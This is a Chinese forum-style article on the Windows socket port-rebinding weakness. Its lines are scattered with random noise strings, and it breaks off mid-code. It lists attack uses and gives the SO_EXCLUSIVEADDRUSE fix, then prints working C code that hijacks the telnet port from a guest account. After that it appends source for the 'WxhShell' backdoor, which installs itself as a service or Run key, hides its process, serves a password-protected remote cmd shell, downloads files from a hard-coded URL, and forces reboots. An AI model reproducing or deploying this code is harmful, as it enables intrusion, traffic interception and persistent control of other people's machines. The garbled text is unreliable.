在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
T?=]&9Y' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u(?U[pe[ bJR\d0Z saddr.sin_family = AF_INET;
GkU$Z @ Zp6VH saddr.sin_addr.s_addr = htonl(INADDR_ANY);
wgvCgr< l=S!cj; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
p} eO "[7'i<,AI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\VW":+ g/P1lQ) 这意味着什么?意味着可以进行如下的攻击:
*`/4KMrq \9od*y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
U7f
o4y1} _+7P"B|\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
mL'A$BR` OPqhdqo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]iFW>N*a D@[#7:rHL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-HuIz6 [O!/hppN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?6x&A t yGC
HWP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}NdLd! !,5qAGi0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
DZb0'+jQ aM,g@'.= #include
T%Zfo7 #include
6Rq +=X #include
e},:QL0X #include
xt`a":lr u DWORD WINAPI ClientThread(LPVOID lpParam);
nKtRJ,> int main()
:fy,%su {
_z.CV< WORD wVersionRequested;
i??+5o@uTF DWORD ret;
HxLuJ WSADATA wsaData;
c*"P+ BOOL val;
!/|B4Yv SOCKADDR_IN saddr;
Ag2Q!cq SOCKADDR_IN scaddr;
cSG(kFQ int err;
> #9
a&O SOCKET s;
BrzTOkeyG SOCKET sc;
ZGCp[2$ int caddsize;
oq1wU@n HANDLE mt;
/;21?o DWORD tid;
&f?JtpB wVersionRequested = MAKEWORD( 2, 2 );
NxK.q)tj6 err = WSAStartup( wVersionRequested, &wsaData );
HAs/f#zAk6 if ( err != 0 ) {
1L\r:mx3 printf("error!WSAStartup failed!\n");
Py+ B 2G| return -1;
q$}J/w(, }
u3UN saddr.sin_family = AF_INET;
=_Z.x&fi j"zW0g!S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QAY:H@Gt: +G7[(Wz(z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
HyYJ"54 saddr.sin_port = htons(23);
q_BMZEM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IM2<:N%' {
4@a/k[, printf("error!socket failed!\n");
J^~J& return -1;
3(.Y>er%U }
k{ZQM val = TRUE;
`G*fx=N //SO_REUSEADDR选项就是可以实现端口重绑定的
MD,BGO?C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
BI!E mA {
N"~P$B1X printf("error!setsockopt failed!\n");
r(n>N0:0Ls return -1;
v6=X]Ji{YA }
"(';UFa //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pB%oFWqK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^HI2Vp //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
20J-VN: e-lc2$o7{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!I91kJt7 {
0YoV`D,U ret=GetLastError();
'^_^o)0gp printf("error!bind failed!\n");
j*1MnP3/8Y return -1;
^ ~Tn[w W_ }
;vpq0t` listen(s,2);
n 4H'FZ while(1)
=~)rT8+) {
iT{[zLz>1 caddsize = sizeof(scaddr);
I;, n|o //接受连接请求
*F(<:3;2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
u`!Dp$P if(sc!=INVALID_SOCKET)
~=otdJ {
#D>:'ezm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
FZ8Qj8
if(mt==NULL)
F6h IG G {
wp:Zur5Y printf("Thread Creat Failed!\n");
65mfq&"P? break;
"Z dI~ }
^R7X!tOq4 }
YXdo&'Q<qX CloseHandle(mt);
uOd1:\%* }
0+w(cf~6 closesocket(s);
gh^w
!tH3 WSACleanup();
C!^;%VQ}d return 0;
=i/r: }
/Vx
EqIK DWORD WINAPI ClientThread(LPVOID lpParam)
AB<bW3qf( {
N\CHIsVm> SOCKET ss = (SOCKET)lpParam;
nmuU*oL SOCKET sc;
AOTtAV_e unsigned char buf[4096];
?PV@WrU>B SOCKADDR_IN saddr;
'CG% PjCO long num;
"`a,/h' DWORD val;
)$*B DWORD ret;
L,,*8 //如果是隐藏端口应用的话,可以在此处加一些判断
rQpQqBu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
f&$$*a saddr.sin_family = AF_INET;
jD6T2K7i saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+p]@ b saddr.sin_port = htons(23);
:x?G[x= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w2r*$Q {
ZHj7^y@P printf("error!socket failed!\n");
2xBh return -1;
7p{uRSE4._ }
]2[\E~^KU val = 100;
B.gEV*@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;L%\[H>G {
;9Wimf]G,E ret = GetLastError();
IiX2O(*ZE return -1;
|]Y6*uEX< }
@?0))@kPc3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X|R"8cJ {
m YhDi ret = GetLastError();
%UV"@I+ return -1;
)}i2x:\|_ }
rD c$# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
lr
-+|>M) {
=65XT^ printf("error!socket connect failed!\n");
}me`(zp closesocket(sc);
`bd9N!K closesocket(ss);
i+I1h= return -1;
VZ9`Kbu }
VQ+G. while(1)
_m%Ab3iT~ {
9.6ni1a' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
x
Y}.mP //如果是嗅探内容的话,可以再此处进行内容分析和记录
gN<J0c) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Scmew num = recv(ss,buf,4096,0);
,z+n@sUR: if(num>0)
#210 Yp# send(sc,buf,num,0);
K_qA[n else if(num==0)
&u(pBr8B break;
8Qkwg]X num = recv(sc,buf,4096,0);
O}6*9Xy if(num>0)
ydE}.0zN send(ss,buf,num,0);
@?t+O'& else if(num==0)
tS,AS,vy] break;
8N`Rf;BM }
> aCY closesocket(ss);
?U2 'L2y closesocket(sc);
3i9~'j;F3 return 0 ;
SxX }
iU#"G" & SkU9iW(k N#X*
0i" ==========================================================
i> {0h3Y UcB2Aauji 下边附上一个代码,,WXhSHELL
w+XwPpM0.n YH{n ==========================================================
?rdWhF] G
P '- #include "stdafx.h"
m;>:mwU RXO5pd #include <stdio.h>
D\pX@Sx,v[ #include <string.h>
V7
hO} #include <windows.h>
DJ!pZUO{ #include <winsock2.h>
Pup%lO`.0 #include <winsvc.h>
k<rJm
P{ #include <urlmon.h>
6O*lZNN 3u,B< #pragma comment (lib, "Ws2_32.lib")
,lb}&uZo #pragma comment (lib, "urlmon.lib")
]Z[0xs !H6X%hlk #define MAX_USER 100 // 最大客户端连接数
^ Qxv5HS2 #define BUF_SOCK 200 // sock buffer
)X8N|W>vh #define KEY_BUFF 255 // 输入 buffer
! 'Hd:oD< =RofC9, #define REBOOT 0 // 重启
mRC #define SHUTDOWN 1 // 关机
0XA0b1V X yFTN/MFt #define DEF_PORT 5000 // 监听端口
[4;G^{
bX 6DC+8I< #define REG_LEN 16 // 注册表键长度
Mh}vr%0;) #define SVC_LEN 80 // NT服务名长度
_93:_L zbvV:9N // 从dll定义API
In;+wFu;M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
SES-a Mi3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Na+h+wD.D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Yt=2HJY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VaO[SW^ !;Pp)SRzKG // wxhshell配置信息
C8}
;, struct WSCFG {
|vxmgX) int ws_port; // 监听端口
KNOVb=#f_ char ws_passstr[REG_LEN]; // 口令
2M+*VO int ws_autoins; // 安装标记, 1=yes 0=no
va0}?fy.O% char ws_regname[REG_LEN]; // 注册表键名
A5sz[k char ws_svcname[REG_LEN]; // 服务名
J58S8:c char ws_svcdisp[SVC_LEN]; // 服务显示名
a o@CPB6N char ws_svcdesc[SVC_LEN]; // 服务描述信息
| S'mF6Y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vr_Z0]4`C9 int ws_downexe; // 下载执行标记, 1=yes 0=no
?R4%z2rcW char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6<f(Zv? I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@\a~5CLN D4~]:@v~n };
nL[G@1nR {~XnmBs // default Wxhshell configuration
"h8fTB\7S\ struct WSCFG wscfg={DEF_PORT,
}?sC1]-j& "xuhuanlingzhe",
y!_8m#n S 1,
3kVN[0 "Wxhshell",
6wZ)GLW[ "Wxhshell",
=RQI5nHdw "WxhShell Service",
f5/s+H! "Wrsky Windows CmdShell Service",
as[! 9tB] "Please Input Your Password: ",
p+b$jKWQ 1,
Hk=HO|&<XB "
http://www.wrsky.com/wxhshell.exe",
r4b-.>w "Wxhshell.exe"
goJ'z|)) };
g~76c.u- -oB=7+g // 消息定义模块
@0 [^SU? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Dd:^ { char *msg_ws_prompt="\n\r? for help\n\r#>";
rCb#E} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(D{J| char *msg_ws_ext="\n\rExit.";
z:u)@>6D1 char *msg_ws_end="\n\rQuit.";
bc>&Qj2Z7c char *msg_ws_boot="\n\rReboot...";
rU1Ri char *msg_ws_poff="\n\rShutdown...";
ACpecG char *msg_ws_down="\n\rSave to ";
QuC_sFP10 8O[l[5u& char *msg_ws_err="\n\rErr!";
,,lR\!>8 char *msg_ws_ok="\n\rOK!";
"CZv5) M;YJpi char ExeFile[MAX_PATH];
}^^c/w_ int nUser = 0;
flOXV
HANDLE handles[MAX_USER];
R]0`-_T int OsIsNt;
F6C7k9 XCO8A\ SERVICE_STATUS serviceStatus;
lR]FQnZ SERVICE_STATUS_HANDLE hServiceStatusHandle;
@|e
we.r p8Z;QH* // 函数声明
q4,/RZhzh int Install(void);
dXsD%sG@ int Uninstall(void);
OU!."r`9 int DownloadFile(char *sURL, SOCKET wsh);
-"?~By}<C int Boot(int flag);
l+X\>, void HideProc(void);
3{wuifS int GetOsVer(void);
MZ~N}y int Wxhshell(SOCKET wsl);
w(K|0|t void TalkWithClient(void *cs);
r`<x@, int CmdShell(SOCKET sock);
8q;
aCtei int StartFromService(void);
%P:|B:\< int StartWxhshell(LPSTR lpCmdLine);
?TI]0) U} w@,6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s_e*jM1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
'%o^#gJ p [8%q@6[ // 数据结构和表定义
,Z}ST|$u SERVICE_TABLE_ENTRY DispatchTable[] =
@Bn4ZFB@ {
m;L3c(r. {wscfg.ws_svcname, NTServiceMain},
7xYz9r)w` {NULL, NULL}
*kcc]*6@s };
6~x a^3G: =&(e* u_ // 自我安装
5".bM8o int Install(void)
@.`k2lxGd~ {
)<qL8#["U char svExeFile[MAX_PATH];
[jrfh>v HKEY key;
}}k*i0 strcpy(svExeFile,ExeFile);
5u3KL
A ?Mn~XN4F_ // 如果是win9x系统,修改注册表设为自启动
i'\-Y]?[ if(!OsIsNt) {
?CcX>R-/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D0z[h(m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H({m1v ~R RegCloseKey(key);
<FI*A+I4\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IreY8.FND RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gyhy0 RegCloseKey(key);
G5 RdytK return 0;
u]i%<Yy89 }
C%CgWO`Xj }
q?@* }
GSd:Plc% else {
\&ki79Ly- )d2:r 07a // 如果是NT以上系统,安装为系统服务
8=zREt<Se SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oXN(S:ZF if (schSCManager!=0)
]>%2,+5 {
3i'01z SC_HANDLE schService = CreateService
#z7yoP (
:{B']~Xf schSCManager,
5?([jAOf wscfg.ws_svcname,
H4j1yD(d wscfg.ws_svcdisp,
Cpy&2o-%v SERVICE_ALL_ACCESS,
}X/YMgJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
DsbTx.vA SERVICE_AUTO_START,
c27(en( SERVICE_ERROR_NORMAL,
69apTx svExeFile,
ck3+A/ !z NULL,
'GiN^Y9dcc NULL,
"S*@._ NULL,
xtKU;+# NULL,
xq=!1> NULL
#kA?*i[T );
KWAd~8,mk if (schService!=0)
oe0YxSauL {
Z:es7<#y CloseServiceHandle(schService);
XXA]ukj;r CloseServiceHandle(schSCManager);
`AvK=] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
G6G-qqXy6 strcat(svExeFile,wscfg.ws_svcname);
sLXM$SMBh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Fw
t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c\&;Xr RegCloseKey(key);
rK`^A return 0;
*<6dB#'
J }
^:}C,lIrG }
y6x./1Nb}< CloseServiceHandle(schSCManager);
o4Cq /K }
WWH<s%C }
R. Fl5B } # L_R return 1;
+
#E?) }
7J
?s&x #y[omla8 // 自我卸载
c h((u(G int Uninstall(void)
5\w*W6y {
<W) F{N? HKEY key;
MNb9 ~kM m^3j|'mG if(!OsIsNt) {
Aq$1#1J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
b{{ H@LTW RegDeleteValue(key,wscfg.ws_regname);
*N:0L,8 RegCloseKey(key);
*+2_!=4V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`'k2gq& RegDeleteValue(key,wscfg.ws_regname);
%<[{zd1C- RegCloseKey(key);
r;*
|^> return 0;
z8]@Gh+
( }
'
i<4;=M& }
Un,'a8>V` }
\ym^~ Q| else {
M X7Ix{ \Q1&w2mw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3EY
m@oZj if (schSCManager!=0)
=5V7212 {
23`salLclG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
r<Cr)%z! if (schService!=0)
j(]O$" " {
%*wEzvt* if(DeleteService(schService)!=0) {
HW,v" CloseServiceHandle(schService);
_nEVmz!zg CloseServiceHandle(schSCManager);
;134$7!Y return 0;
:FtV~^Z }
+zq"dj_ CloseServiceHandle(schService);
U{LS_VI~ }
*" C9F/R CloseServiceHandle(schSCManager);
M0\gp@Fe }
s/s&d pT* }
=Y6W
Qf '5[(QM5Gi& return 1;
47Bg[ }
D %)L"5C ~{5va // 从指定url下载文件
nvXjW@)` int DownloadFile(char *sURL, SOCKET wsh)
.=t:Uy {
{;& U5<NO HRESULT hr;
Y~A I2H S char seps[]= "/";
}1~9i'o%Z char *token;
#N>66!/V char *file;
"::2]3e char myURL[MAX_PATH];
6NhGTLI char myFILE[MAX_PATH];
%dq%+yw{%m F kf4R5Y? strcpy(myURL,sURL);
B)1( token=strtok(myURL,seps);
K[0z$T\
while(token!=NULL)
D15-pz|Q {
u a_w5o7 file=token;
yRl token=strtok(NULL,seps);
Bp5ra9*5+~ }
9+s&|XS* YM'4=BlJHv GetCurrentDirectory(MAX_PATH,myFILE);
CI$z+zN strcat(myFILE, "\\");
/2c(6h strcat(myFILE, file);
9&.md,U ' send(wsh,myFILE,strlen(myFILE),0);
C4.GtY8,d send(wsh,"...",3,0);
K%mR=u#%& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Y,Rr[i"j if(hr==S_OK)
G)t-W%D& return 0;
q/ 54=8*h0 else
`XK\',
}F return 1;
l'wu- nqUnDnP2c }
r<!nU&FPD: a|oh Ad // 系统电源模块
Yk|.UuXT int Boot(int flag)
m*N8!1Ot {
~n%Lo3RiP HANDLE hToken;
) 5$?e TOKEN_PRIVILEGES tkp;
~+Pe=~a[ eL(<p] if(OsIsNt) {
GN!
R<9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
L3xN#W;m7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*.k*JsU~B tkp.PrivilegeCount = 1;
% X %zK1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<f8j^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
z
|~+0 if(flag==REBOOT) {
~M} K]Li if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LPu*Lkx return 0;
K[OOI~"C }
M|%bxG^l else {
U0:*?uA. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Ew|Z<( return 0;
GWPBP-)0 }
bo\Ah/. }
Q*PcO \Y!y else {
I#O"<0
*r if(flag==REBOOT) {
a~_JTH4=t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]YFjz/f return 0;
.IdbaH
_a }
4* >j:1 else {
Fb%?qaLmCv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/NCN wAj7 return 0;
LDHu10l }
37a1O>A }
7I"~a<f0X` A-=hvJ5T return 1;
Xnjl {` }
[w@S/K[_| GU2TQx{V // win9x进程隐藏模块
C12V_)~2 void HideProc(void)
|/n7(!7$[v {
^tG,H@95 \X%FM"r HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
``VE<:2+ if ( hKernel != NULL )
i.)n#@M2 {
!<=zFy[J.9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n(eo_.W2| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5!qf{4j FreeLibrary(hKernel);
pY
)x&uM! }
z`E=V K2xHXziQ return;
: q%1Vi }
tNzO1BK np6G~0Y` // 获取操作系统版本
2v4K3O60G int GetOsVer(void)
} f&=} {
a?r$E.W'& OSVERSIONINFO winfo;
r2.w4RMFua winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
klFS3G GetVersionEx(&winfo);
sV{\IgH/x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
r1<*=Fs=>> return 1;
&Y=~j?~Xm else
^$lZ return 0;
$u~ui@kB }
1Xm>nF~ 0'pB7^y // 客户端句柄模块
]7W!f 2@ int Wxhshell(SOCKET wsl)
DAWF
=p] {
Ru*gbv,U SOCKET wsh;
Pm)*zdZ8 struct sockaddr_in client;
$G"\@YC< DWORD myID;
"ckK{kS4~ W#P\hx while(nUser<MAX_USER)
[ R+M .5 {
{zm8` int nSize=sizeof(client);
A"b31*_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
qQ3Q4R\ if(wsh==INVALID_SOCKET) return 1;
q/I( e hwXsfh | handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
dB4ifeT] if(handles[nUser]==0)
-A
w]b} #v closesocket(wsh);
mL`8COA else
,IboPh&Q78 nUser++;
|LQ%sV }
]j/=
x2p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
LS<+V+o2% k"DZ"JC return 0;
CA`V)XIsP }
}O@>:?U ,>6a)2xh // 关闭 socket
&>+T*-' void CloseIt(SOCKET wsh)
Q?>r:vMi {
e3CFW_p closesocket(wsh);
ky[Cx!81C nUser--;
oOI0q_bf ExitThread(0);
z[_Y,I }
#1'q'f:7& (b#M4ho*f // 客户端请求句柄
}'x)e void TalkWithClient(void *cs)
Z!|r> {
N^oP,^+U HLPRTta. SOCKET wsh=(SOCKET)cs;
Fh)xm* u( char pwd[SVC_LEN];
wQy~5+LE char cmd[KEY_BUFF];
xk>cdgt char chr[1];
\^dse int i,j;
T]&?^QGAZ eUNaq&M while (nUser < MAX_USER) {
cK]n"6N[ >KrI}>!9r if(wscfg.ws_passstr) {
IW<rmP=R& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&M?b08 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EEZ~Bs}d //ZeroMemory(pwd,KEY_BUFF);
h]& i=0;
Qv~@ while(i<SVC_LEN) {
-9{N7H /fT"WaTEK // 设置超时
M]{~T7n- fd_set FdRead;
v0)Y, hW struct timeval TimeOut;
:~8@fEKb{ FD_ZERO(&FdRead);
]aF; FD_SET(wsh,&FdRead);
>@ 8'C"F TimeOut.tv_sec=8;
>^g2Tg: TimeOut.tv_usec=0;
(jU_lsG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
UwS7B~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
7SJ=2 6?M/71 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'62_q8: pwd
=chr[0]; =L#&`s@)_
if(chr[0]==0xd || chr[0]==0xa) { tP! %(+V
pwd=0; 8493Sw
break; KM[0aXOtv
} d38o*+JCf
i++; MhHh`WUGh
} Fw-Rv'\
)HE{`yiLL
// 如果是非法用户,关闭 socket TX$dxHSPK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u=qK_$d4
} )m
=xf1
y$-@|M$GG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?eX$Wc{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AeEdqX)
71[?AmxV
while(1) { 2=K|kp5
sHBTB6)lx
ZeroMemory(cmd,KEY_BUFF); ghB&wOm/
6ZHeAb]"
// 自动支持客户端 telnet标准 c$ib-
j=0;
V^Z5i]zT
while(j<KEY_BUFF) { rM= :{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lwi"K8.u
cmd[j]=chr[0]; ^TZmc{i
if(chr[0]==0xa || chr[0]==0xd) { qQ)1+^
cmd[j]=0; -|}?+W
break; 9rz$c, Y(
} UJqh~s
j++; IowXVdm@6
} +=9iq3<yfS
<\$"U5"`
// 下载文件 1K/ :
if(strstr(cmd,"http://")) { 1\@PrO35J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qZ[HILh!
if(DownloadFile(cmd,wsh)) fTR6]i;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:%lxG
else tc`3-goX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4s:M}=]N
} yN`hW&K
else { !YGHJwW:
N5zWeFq@6
switch(cmd[0]) { )N- '~<N
64U|]gd$
// 帮助 !?ZR_=Y%
case '?': { ?+d{Rh)y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >i
break; 3]kM&lK5\
} 7P(o!%H
// 安装 o S%(~])\
case 'i': { ldp9+7n~
if(Install()) gd#R7[AVi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +j F|8
else
G-1qxK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p: z][I
break; #Swc>jYc
} 0!YVRit\N
// 卸载 ?F]P=S:x
case 'r': { Xux[
if(Uninstall()) |(Wwh$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *V:U\G
else XZ.D<T"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iP9]b&
break; "Ua-7Q&A
} iT{4-j7|P4
// 显示 wxhshell 所在路径 `.JW_F)1
case 'p': { }a!|n4|`
char svExeFile[MAX_PATH]; `T+>E0H(f
strcpy(svExeFile,"\n\r"); ;rT/gwg!
strcat(svExeFile,ExeFile); >H;m[
send(wsh,svExeFile,strlen(svExeFile),0); tx[;& ;
break; _I; hM
} \,/ozfJ7dT
// 重启 ) q'D9x9
case 'b': { '+$r7?dKP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9c}C<s`M
if(Boot(REBOOT)) E<-W & a }
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Bm{ctf#)
else { k]:`<`/I_
closesocket(wsh); ".|8 (Y
ExitThread(0); a"xRc
} 3,G|oR{D
break; T7mT:z>:
} m[y~-n
// 关机 .{ILeG
case 'd': { ->51t
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xlug{ Uh
if(Boot(SHUTDOWN)) mz1m^p)~{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AaB1H7r-
else { ulN1z
closesocket(wsh); 1t/c@YUTy
ExitThread(0); XN
t` 4$L
} Q?j '4
break; ={cM6F}a@
} CZ]Dm4
// 获取shell mB0`>?#i
case 's': { R&t2
CmdShell(wsh); "dv\
9O
closesocket(wsh);
MwQtf(_
ExitThread(0); NMw5ixl
break;
c %Y*XJ'
} @6DKw;Q
// 退出 |b='DJz2
case 'x': { dbEXlm
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -}T7F+
CloseIt(wsh); K'8?%&IQ
break; 4IW90"uc
} 7lF;(l^Z>}
// 离开 l<=k#d
case 'q': { N4VZl[7?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); X(d:!-_m *
closesocket(wsh); emJZ+:%
WSACleanup(); "dndhoMq
exit(1); !X"nN9k
break; aDz%
%%:r
} +ah4 K(+3
} -ys/I,}<
} #gWok'ZcR
rLD1Cpeb,w
// 提示信息 @~$=96^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?\4kV*/Cqz
} $Nvox<d0
} )2W7>PY
-u~:Gd*l0
return; 8%4v6No&*
} :+9. v
k
"7,-0gz
// shell模块句柄 d/oD]aAEr
int CmdShell(SOCKET sock) "S{GjOlEDF
{ 8TH;6-RT
STARTUPINFO si; dQH8s
ZeroMemory(&si,sizeof(si)); {7IZN< e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {be|G^.c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A`vRUl,c=
PROCESS_INFORMATION ProcessInfo; TGG=9a]m
char cmdline[]="cmd"; mg70%=qM0f
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j4@6`[n:
return 0; *R4=4e2#S
} .u7grC C
BH}rg,]G
// 自身启动模式 G^ <m0ew|
int StartFromService(void) 4s>L]!
W$8
{ *}HDq(/>w
typedef struct F@t\D?
{ w"M!**bP
DWORD ExitStatus; 4M>]0%3.D
DWORD PebBaseAddress; mrsN@(X0
DWORD AffinityMask; $i8oLSRV
DWORD BasePriority; It 3@
